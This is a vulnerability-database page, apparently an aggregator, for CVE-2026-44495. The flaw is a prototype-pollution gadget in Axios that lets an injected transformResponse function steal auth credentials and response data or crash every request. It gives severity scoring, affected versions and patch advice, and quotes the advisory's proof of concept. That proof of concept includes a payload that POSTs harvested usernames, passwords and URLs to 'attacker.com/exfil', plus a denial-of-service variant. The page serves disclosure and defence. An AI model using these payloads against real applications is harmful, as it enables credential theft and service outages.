Skip to main content

Axios CVE-2026-44495

| EUVDEUVD-2026-36258 HIGH
Code Injection (CWE-94)
2026-05-29 https://github.com/axios/axios GHSA-3g43-6gmg-66jw
RCE Denial Of Service Code Injection
7.7
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Exploit co-resident PP vulnerability in dependency
  2. Delivery
    Pollute Object.prototype.transformResponse with harvesting function
  3. Exploit
    Application triggers authenticated Axios HTTP request
  4. Execution
    mergeConfig() inherits polluted transformResponse via prototype chain
  5. Persist
    transformData() executes attacker function with config as this
  6. Impact
    Exfiltrate auth credentials and response data

Vulnerability Assessment

Weakness
CWE
CWE-94
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Sign in to read
Exploitation Conditions

Exploitation requires ALL of the following conditions simultaneously: (1) An affected Axios version (v1.0.0-1.15.1 or v0.19.0-0.30.x) must be in use; (2) A separate, independently exploitable prototype pollution vulnerability must exist elsewhere in the same JavaScript process or browser context-Axios itself does not introduce the pollution; (3) The pollution of Object.prototype.transformResponse must occur before Axios invokes mergeConfig() or validator.assertOptions() for any request; (4) For the high-severity path involving credential theft and response hijacking, the attacker must be capable of assigning a JavaScript function (not just a JSON-serializable value) to Object.prototype-most query-string and JSON-parser PP bugs can only set string or array values, making function assignment a conditional rather than automatic capability; (5) For DoS only, polluting transformResponse with an array value is sufficient to crash every subsequent Axios request with TypeError. Exploitation is limited by: the mandatory chaining requirement (no standalone exploitation), the function-value prerequisite for full credential impact, and SSVC Automatable: no (mass/untargeted exploitation is not feasible). The vulnerability is not specific to Node.js-browser contexts are equally affected if a PP primitive is available.
Impact

The NVD/reporter CVSS 3.1 vector of CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:H (score 7.7) appropriately captures the chained nature of this vulnerability. AC:H reflects the hard prerequisite: a secondary prototype pollution vulnerability must independently exist and fire in the same JavaScript process before Axios processes a request. Without that prerequisite, Axios itself is not exploitable. EPSS of 0.05% (15th percentile) corroborates the low near-term exploitation probability despite a high technical impact. SSVC signals are partially contradictory: Technical Impact is rated 'total' (credential exposure plus DoS), but Automatable is 'no', meaning mass scanning or untargeted exploitation is not realistic-this is an opportunistic or targeted chained attack. The vulnerability is not in CISA KEV, distinguishing it from actively weaponized issues. The reporter's original CVSS of 9.4 using AC:L/C:H/I:L/A:H overstates real-world risk by ignoring the mandatory secondary primitive; the NVD vector of AC:H is more accurate. POC exists and is well-documented, but practical exploitation depends heavily on co-present PP vulnerabilities in the same application's dependency tree. Red Hat has issued at least twelve RHSA advisories (RHSA-2026:26234 through RHSA-2026:33183), indicating significant downstream distribution-level impact and urgency for patching.
Exploit ScenarioDerived

A publicly available proof-of-concept exists per GHSA-3g43-6gmg-66jw. In a realistic chained attack, an attacker exploits a prototype pollution vulnerability in a co-located npm library (for example, a vulnerable query-string parser that processes attacker-controlled URL parameters) to assign a credential-harvesting function to Object.prototype.transformResponse before the application issues any Axios request. When the application subsequently makes an authenticated Axios HTTP call-for example, axios.get('/api/users', { auth: { username: 'svc-account', password: 'prod-secret-key' } })-Axios's mergeConfig() inherits the polluted transform, and transformData() executes the attacker's function with the full request config as this, exfiltrating credentials and response data to an attacker-controlled endpoint while returning a tampered response to the application caller.
This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Aug 17, 2026

Credential theft and response hijacking is possible in Axios (npm) versions 1.0.0-1.15.1 and 0.19.0-0.30.x when a co-resident prototype pollution vulnerability allows an attacker to place a JavaScript function on Object.prototype.transformResponse before Axios processes a request. The Axios mergeConfig() function reads config values through normal property access, allowing the prototype-inherited function to displace the legitimate response transform; when executed by transformData(), the function runs with the full request config as this, exposing auth credentials, URLs, and headers, while also replacing the response returned to application code. A publicly available exploit (PoC) exists per the GitHub Security Advisory GHSA-3g43-6gmg-66jw and SSVC assessment, but no confirmed active exploitation (CISA KEV) has been recorded; EPSS is 0.05% (15th percentile), consistent with a chained, non-trivial attack.

Earlier versions of this analysis (1)
v1 May 29, 2026 - 16:50 CVSS 7.0

Prototype-pollution gadget in Axios (npm) before 1.15.2 and 0.31.1 allows an attacker who has already polluted Object.prototype.transformResponse in the same JavaScript process to hijack response handling, exfiltrate request config (URL, headers, auth credentials), and tamper with returned data. The flaw lives in mergeConfig() and transformData(), which read config via prototype-chain lookups, so any helper library prototype pollution becomes a credential-theft and DoS primitive for every Axios request. No public exploit identified at time of analysis beyond the advisory's PoC, and the issue is not in CISA KEV.

RemediationAI

Upgrade axios to version 1.15.2 (for v1.x users) or 0.31.1 (for v0.x users) immediately; these are the vendor-confirmed fixed releases per GHSA-3g43-6gmg-66jw (https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw). For Red Hat-based environments, apply the relevant RHSA errata (RHSA-2026:26234 through RHSA-2026:33183). If an immediate upgrade is blocked, the most effective compensating control is auditing and eliminating any prototype pollution vectors in the same application's dependency tree-libraries such as qs, minimist, lodash, and body-parser have historically been PP sources; removing or updating vulnerable versions of those reduces the attacker's ability to establish the prerequisite pollution. There is no practical way to disable the affected mergeConfig or transformData code paths while retaining Axios functionality, so dependency isolation (e.g., running Axios in a Worker thread or separate process) could limit blast radius at the cost of inter-process communication overhead. Do not rely on Content Security Policy or input sanitization at the HTTP layer as compensating controls-the exploitation path is entirely in-process JavaScript and is not directly blocked by network-layer controls.

Affected VersionsENISA

axios 1.0.0, < 1.15.2
axios 0.19.0, < 0.31.1

Affected Packages

npm axios fix: 0.31.1, 1.15.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Sign in to check
Technical ContextAI · show details

Axios (pkg:npm/axios) is a widely used JavaScript HTTP client for both Node.js and browsers. The affected code resides in lib/core/mergeConfig.js (config merging) and lib/core/transformData.js (transform execution). The root cause is CWE-94 (Code Injection) via a prototype pollution gadget: mergeConfig() iterates over expected config keys-including transformResponse, which is part of Axios defaults-using standard property access (config2[prop]), which traverses the JavaScript prototype chain. If Object.prototype.transformResponse has been set by a prior pollution event, the inherited value is treated as a legitimate config value. The selected transform is then executed by transformData() with fn.call(config, data, headers.normalize(), response.status), meaning this is the full request config object, including auth credentials. Some later v1.x releases partially patched the merge path but still used inherited properties during validator lookup in validator.assertOptions(), enabling a narrower but still exploitable path. Fixed versions (1.15.2 and 0.31.1) use own-property checks and null-prototype config objects, closing both paths. The CWE tag is CWE-94 per NVD; the GHSA advisory additionally cites CWE-1321 (Prototype Pollution), both accurate to different aspects of the attack.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources
Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 7.7 HIGH
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:H
vuln.today AI 7.7 HIGH

AC:H reflects the mandatory secondary PP vulnerability prerequisite; C:H for credential exposure; I:L for constrained response tampering; A:H for per-request DoS via array pollution.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:H
4.0 AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:H/SC:N/SI:N/SA:N
SUSE 7.0 HIGH
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L
Red Hat 7.0 HIGH

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
High

Lifecycle Timeline

3
Analysis Updated
Aug 17, 2026 - 16:59 vuln.today
v2 - CVSS changed
CVSS changed
Aug 17, 2026 - 16:52 NVD
7.0 (HIGH) 7.7 (HIGH)
CVE Published
Jun 22, 2026 - 06:03 cve.org
HIGH 7.0

DescriptionNVD

Summary

Axios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator.

Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.

Impact

For ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks.

If the attacker can pollute Object.prototype.transformResponse with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and auth, and can change the response data returned to application code.

This function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs.

Affected Functionality

The affected functionality is Axios request config processing and response transformation.

Affected use requires all of the following:

  • An affected Axios version.
  • A polluted Object.prototype in the same process or browser context.
  • Pollution before Axios merges or validates the request config.
  • A polluted key relevant to Axios config, especially transformResponse.

This is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities.

Technical Details

In affected versions, mergeConfig() reads config values through normal property access. For config keys present in Axios defaults, including transformResponse, a missing own property on the request config can fall through to Object.prototype.

In the fully affected path, this means Object.prototype.transformResponse can replace Axios's default response transform. The selected transform is later executed by transformData() with the request config as this.

Some later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in validator.assertOptions(). In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform.

Fixed versions use own-property checks and null-prototype config objects, so inherited Object.prototype values are not treated as Axios config or validator schema entries.

Proof of Concept of Attack

js
import http from 'http';
import axios from 'axios';

const seen = [];

const server = http.createServer((req, res) => {
  res.setHeader('Content-Type', 'application/json');
  res.end(JSON.stringify({ secret: 'response-secret' }));
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

Object.prototype.transformResponse = function pollutedTransform(data, headers, status) {
  if (headers && typeof status === 'number') {
    seen.push({
      url: this.url,
      username: this.auth && this.auth.username,
      password: this.auth && this.auth.password,
      responseData: data
    });

    return { hijacked: true };
  }

  return true;
};

try {
  const { port } = server.address();

  const response = await axios.get(`http://127.0.0.1:${port}/users`, {
    auth: { username: 'svc-account', password: 'prod-secret-key-123' }
  });

  console.log(response.data); // { hijacked: true }
  console.log(seen[0]);       // request config plus original response body
} finally {
  delete Object.prototype.transformResponse;

  server.close();
}

Expected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller.

Expected result on fixed versions: the polluted transform is ignored, and the original response is returned.

<details> <summary>Original source report</summary>

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into credential theft and response hijacking across all Axios requests.

The mergeConfig() function reads config properties via standard property access (config2[prop]), which traverses the JavaScript prototype chain. When Object.prototype.transformResponse is polluted with a function, it overrides the default JSON response parser for every request. The injected function executes with this = config, exposing auth.username, auth.password, request URL, and all headers.

Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/core/mergeConfig.js (Config Merge) + lib/core/transformData.js (Transform Execution)

CWE

  • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

CVSS 3.1

Score: 9.4 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H

MetricValueJustification
Attack VectorNetworkPP is triggered remotely via any vulnerable dependency
Attack ComplexityLowOnce PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring
Privileges RequiredNoneNo authentication needed
User InteractionNoneNo user interaction required
ScopeUnchangedCredential theft occurs within the same application process
ConfidentialityHighthis.auth.password, this.url, original response data all exfiltrated
IntegrityLowResponse data is replaced with true - attacker cannot return arbitrary data due to assertOptions constraint (see below)
AvailabilityHighPolluting with an array value causes TypeError: validator is not a function crash (DoS) on every request

Relationship to GHSA-fvcv-3m26-pcqx

This vulnerability is in the same class as GHSA-fvcv-3m26-pcqx ("Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit mergeConfig's prototype chain traversal.

FactorGHSA-fvcv-3m26-pcqxThis Vulnerability
Attack vectorPP → Header injection → Request smugglingPP → Transform function override → Credential theft
Fixed by 1.15.0 header sanitization?YesNo - different code path
AffectsRequests using form-data packageAll requests (transformResponse is in defaults)
ImpactAWS IMDSv2 bypass, cloud compromiseCredential theft (auth, API keys), response hijacking, DoS

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically pick up the polluted transformResponse property during its config merge.

The critical difference from GHSA-fvcv-3m26-pcqx: this vector was NOT fixed by the header sanitization patch in v1.15.0, because it does not use headers at all - it injects a function into the response processing pipeline.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

javascript
Object.prototype.transformResponse = function(data, headers, status) {
  // Steal credentials via this context (this = full request config)
  if (this && this.url && typeof data === 'string') {
    fetch('https://attacker.com/exfil', {
      method: 'POST',
      body: JSON.stringify({
        url: this.url,
        username: this.auth?.username,
        password: this.auth?.password,
        responseData: data,
      })
    });
  }
  return true;  // MUST return true to pass assertOptions validator check
};

Important constraint: The polluted value must be a function returning true, not an array. If an array is used, assertOptions() at validator.js:89-92 crashes with TypeError: validator is not a function (which is still a DoS vector). The function must return true because validator.js:93 checks result !== true.

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

javascript
// This looks safe to the developer
const response = await axios.get('https://api.internal/users', {
  auth: { username: 'svc-account', password: 'prod-secret-key-123!' }
});

3. The Execution

Axios's mergeConfig() at mergeConfig.js:99-103 iterates config keys:

javascript
utils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) {
  // 'transformResponse' is in config1 (defaults) → included in keys
  const merge = mergeMap[prop];  // → defaultToConfig2
  const configValue = merge(config1[prop], config2[prop], prop);
  // config2['transformResponse'] traverses prototype → finds polluted function!
});

The polluted function then executes at transformData.js:21:

javascript
data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
// fn = attacker's function, this = config (containing auth credentials)

4. The Impact

Attacker receives at https://attacker.com/exfil:

{
  "url": "https://api.internal/users",
  "username": "svc-account",
  "password": "prod-secret-key-123!",
  "responseData": "{\"users\":[{\"id\":1,\"role\":\"admin\"}]}"
}

The response data seen by the application is true (the required return value), which will likely cause the application to malfunction but will not reveal the theft.

5. DoS Variant

javascript
// Array pollution crashes every request
Object.prototype.transformResponse = [function(d) { return d; }];

await axios.get('https://any-url.com');
// → TypeError: validator is not a function
// Every request in the application crashes

Verified PoC Output

Step 1 - Normal behavior (before pollution):
    Default transformResponse function name: "transformResponse"

Step 2 - Polluting Object.prototype.transformResponse:
    Function replaced by attacker: true

Step 3 - Simulating dispatchRequest transformResponse:
    Original server response: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}
    After malicious transform: true
    Response tampered: true

Step 4 - Exfiltrated data:
    Original response data: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}
    Request URL: https://internal-api.corp/secrets
    Authentication info: {"username":"admin","password":"P@ssw0rd123!"}

Impact Analysis

  • Credential Theft: this.auth.username, this.auth.password, this.headers.Authorization, and all other config properties are accessible to the injected function. The attacker can exfiltrate them to an external server.
  • Response Data Exfiltration: The original server response (data parameter) is available to the injected function before being replaced.
  • Universal Scope: Affects every axios request in the application, including all third-party libraries that use axios.
  • Denial of Service: Polluting with a non-function value crashes every request.
  • Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx fix) does not address this vector.

Limitations (Honest Assessment)

  • Requires a separate prototype pollution vulnerability elsewhere in the dependency tree
  • Response data cannot be arbitrarily tampered - the function must return true to pass assertOptions
  • This is in-process JavaScript function execution, not OS-level RCE

Recommended Fix

Use hasOwnProperty checks in defaultToConfig2 to prevent prototype chain traversal:

javascript
// In lib/core/mergeConfig.js
function defaultToConfig2(a, b, prop) {
  if (Object.prototype.hasOwnProperty.call(config2, prop) && !utils.isUndefined(b)) {
    return getMergedValue(undefined, b);
  } else if (!utils.isUndefined(a)) {
    return getMergedValue(undefined, a);
  }
}

Additionally, validate that transformResponse contains only functions before execution:

javascript
// In lib/core/transformData.js
utils.forEach(fns, function transform(fn) {
  if (typeof fn !== 'function') {
    throw new AxiosError('Transform must be a function', AxiosError.ERR_BAD_OPTION);
  }
  data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
});

Resources

Timeline

DateEvent
2026-04-15Vulnerability discovered during source code audit
2026-04-15Initial PoC developed (array payload - crashes at validator.js)
2026-04-16PoC corrected (function payload returning true - works)
2026-04-16Report revised with accurate constraints
TBDReport submitted to vendor via GitHub Security Advisory

</details>

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 273 npm packages depend on axios (189 direct, 84 indirect)

Ecosystem-wide dependent count for version 1.0.0.

Articles & Coverage 1

jfrog.com Inflated CVSS Scores in Axios Prototype Pollution Gadget CVEs (CVE-2026-42264, CVE-2026-44490, and More) Jul 01, 2026

Executive ViewAI

Why It Matters

A prototype pollution vulnerability in Axios affects versions 1.0.0-1.15.1 and 0.19.0-0.30.x, enabling attackers to steal API credentials and manipulate server responses in JavaScript-based applications; publicly available exploit code exists. Given Axios's prevalence in modern web architecture, this represents an elevated cross-platform risk to systems handling sensitive authentication and data.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 85% exploitable
Prevalence
High
dominant HTTP client in Node.js and browser JavaScript applications
Threat Intel
1
1 source
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution CRITICAL

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Denial of Service MEDIUM

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

Same weakness CWE-94 – Code Injection

View all
CVE-2023-3519 CRITICAL POC
9.8
CVE-2021-22205 CRITICAL POC
10.0
CVE-2012-0158 HIGH POC
8.8
CVE-2021-44529 CRITICAL POC
9.8
CVE-2014-6287 CRITICAL POC
9.8
CVE-2017-7494 CRITICAL POC
9.8
CVE-2013-3906 HIGH POC
7.8
CVE-2017-9822 HIGH POC
8.8

Same technique RCE

View all
CVE-2021-44228 CRITICAL POC
10.0
CVE-2017-7269 CRITICAL POC
9.8
CVE-2022-47966 CRITICAL POC
9.8
CVE-2012-4681 CRITICAL POC
9.8
CVE-2015-5119 CRITICAL POC
9.8
CVE-2016-4117 CRITICAL POC
9.8
CVE-2015-3113 CRITICAL POC
9.8

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise Module for Python 3 15 SP7 Not-Affected
SUSE Linux Enterprise Module for SAP Applications 15 SP7 Not-Affected
SUSE Linux Enterprise Server 15 SP7 Not-Affected

References

Advisories & patches
ADVISORY https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw ADVISORY https://vuldb.com/vuln/370406 ADVISORY https://www.herodevs.com/vulnerability-directory/cve-2026-44495 REF https://access.redhat.com/errata/RHSA-2026:20889 REF https://access.redhat.com/errata/RHSA-2026:20938 REF https://access.redhat.com/errata/RHSA-2026:26234 REF https://access.redhat.com/errata/RHSA-2026:27044 REF https://access.redhat.com/errata/RHSA-2026:27063 REF https://access.redhat.com/errata/RHSA-2026:27944 REF https://access.redhat.com/errata/RHSA-2026:28964 REF https://access.redhat.com/errata/RHSA-2026:29082 REF https://access.redhat.com/errata/RHSA-2026:29197 REF https://access.redhat.com/errata/RHSA-2026:30650 REF https://access.redhat.com/errata/RHSA-2026:30651 REF https://access.redhat.com/errata/RHSA-2026:33155 REF https://access.redhat.com/errata/RHSA-2026:33160 REF https://access.redhat.com/errata/RHSA-2026:33163 REF https://access.redhat.com/errata/RHSA-2026:33173 REF https://access.redhat.com/errata/RHSA-2026:33183 REF https://access.redhat.com/errata/RHSA-2026:33574 REF https://access.redhat.com/errata/RHSA-2026:34160 REF https://access.redhat.com/errata/RHSA-2026:34374 REF https://access.redhat.com/errata/RHSA-2026:36108 REF https://access.redhat.com/errata/RHSA-2026:36611 REF https://access.redhat.com/errata/RHSA-2026:36754 REF https://access.redhat.com/errata/RHSA-2026:36820 REF https://access.redhat.com/errata/RHSA-2026:36882 REF https://access.redhat.com/errata/RHSA-2026:36883 REF https://access.redhat.com/errata/RHSA-2026:40119 REF https://access.redhat.com/errata/RHSA-2026:40138 REF https://access.redhat.com/errata/RHSA-2026:40262 REF https://access.redhat.com/errata/RHSA-2026:40768 REF https://access.redhat.com/errata/RHSA-2026:40792 REF https://access.redhat.com/errata/RHSA-2026:40795 REF https://access.redhat.com/errata/RHSA-2026:41031 REF https://access.redhat.com/errata/RHSA-2026:41055 REF https://access.redhat.com/errata/RHSA-2026:41064 REF https://access.redhat.com/errata/RHSA-2026:41066 REF https://access.redhat.com/errata/RHSA-2026:41928 REF https://access.redhat.com/errata/RHSA-2026:41951 REF https://access.redhat.com/errata/RHSA-2026:42078 REF https://access.redhat.com/errata/RHSA-2026:42142 REF https://access.redhat.com/errata/RHSA-2026:42146 REF https://access.redhat.com/errata/RHSA-2026:42796 REF https://access.redhat.com/errata/RHSA-2026:43052 REF https://access.redhat.com/errata/RHSA-2026:46885 REF https://access.redhat.com/errata/RHSA-2026:46903 REF https://access.redhat.com/errata/RHSA-2026:50300 REF https://access.redhat.com/errata/RHSA-2026:53840 REF https://access.redhat.com/errata/RHSA-2026:54188 REF https://access.redhat.com/errata/RHSA-2026:54555 REF https://access.redhat.com/errata/RHSA-2026:57191 REF https://access.redhat.com/errata/RHSA-2026:59833 REF https://access.redhat.com/errata/RHSA-2026:60520 REF https://access.redhat.com/errata/RHSA-2026:66545 REF https://access.redhat.com/security/cve/CVE-2026-44495 REF https://bugzilla.redhat.com/show_bug.cgi?id=2487937 REF https://github.com/advisories/GHSA-3g43-6gmg-66jw REF https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44495.json

Search Externally

GitHub PoC Exploit-DB PacketStorm Snyk Rapid7 Nuclei Templates Trickest PoC
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy